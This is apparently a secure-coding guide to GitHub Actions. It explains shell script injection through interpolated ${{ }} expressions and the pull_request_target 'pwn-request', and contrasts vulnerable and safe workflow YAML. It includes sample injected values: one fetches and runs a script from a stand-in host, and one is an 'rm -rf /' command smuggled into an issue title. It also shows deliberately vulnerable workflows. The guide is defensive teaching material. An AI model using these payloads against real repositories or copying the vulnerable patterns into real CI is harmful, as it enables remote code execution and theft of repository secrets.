Untrusted input in CI: script injection via interpolated context and the pull_request_target pwn-request

Script injection: the ${{ ... }} that runs as code

GitHub Actions evaluates ${{ ... }} expressions and substitutes the result into the workflow text before the runner’s shell sees the step. For a run: step, that means an expression is spliced into the shell script as raw text, then the shell parses the whole thing. If the expression’s value is attacker-controlled, the attacker is writing shell:

# VULNERABLE — title is textually substituted into the script
- run: echo "Issue: ${{ github.event.issue.title }}"

An issue title of $(curl evil.sh | bash) or "; rm -rf / # becomes part of the executed command. The dangerous contexts are everything a non-collaborator can set: github.event.issue.title, .issue.body, .pull_request.title, .pull_request.body, .comment.body, .review.body, head ref and branch names, commit messages and author names from a PR. None of these are trustworthy.

The fix is to break the substitution-into-code path: pass the untrusted value through an environment variable and reference it with shell quoting, so it is data the shell reads, never text the shell parses:

# SAFE — the value arrives as an env var; the shell never parses it as code
- env:
    TITLE: ${{ github.event.issue.title }}
  run: echo "Issue: $TITLE"

Now $TITLE is expanded by the shell as the value of a variable; even a title full of $(...) and backticks is an inert string. The env: binding is the trust boundary: GitHub sets the variable’s value out-of-band, and the script body — which is fixed at author time — only references it. (Quote it: "$TITLE".) The same rule covers actions/github-script and JS: use process.env.TITLE or context.payload, never string-concatenate the payload into evaluated code.

The pwn-request: pull_request_target plus PR checkout

If script injection is the most common GitHub Actions vulnerability, the pwn-request is the most severe: it gives a fork contributor arbitrary code execution with the base repo’s secrets. When you see pull_request_target in a workflow, that should be your first warning sign — the event’s design and its danger both hinge on one distinction.

There are two PR-triggered events, and the difference is the whole vulnerability. pull_request from a fork runs with a read-only token and no secrets — safe to run untrusted PR code because it can do nothing. pull_request_target runs in the context of the base repository: it gets the full secrets and a read/write GITHUB_TOKEN, and — critically — it checks out the base branch’s workflow by default, not the PR’s. That is deliberate: it lets a fork PR’s CI label, comment, or apply automation with privileges, using trusted base-repo workflow code.

The vulnerability — the pwn-request — is checking out and running the PR’s code inside that privileged event:

# VULNERABLE — pwn-request: untrusted PR head run with secrets + write token
on: pull_request_target
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@<sha>
        with:
          ref: ${{ github.event.pull_request.head.sha }}   # attacker's code
      - run: npm install && npm test                        # runs it with full secrets

npm install runs lifecycle scripts; npm test runs the PR’s test files — all attacker-authored, now executing with the base repo’s secrets and write token. An attacker opens a PR from a fork that adds a malicious postinstall script, and it exfiltrates every secret and pushes to the repo. The combination is the trap: the privileged event’s secrets and write token, and checking out untrusted code into it.

The safe patterns: do privileged work in pull_request_target only on trusted, fixed workflow code (never check out PR head); or split — run untrusted build/test in a pull_request job (no secrets), and have a separate, secret-bearing job act on its results without executing PR code. If you must check out PR head under pull_request_target, do it without secrets in scope and without the write token, treating it as fully hostile.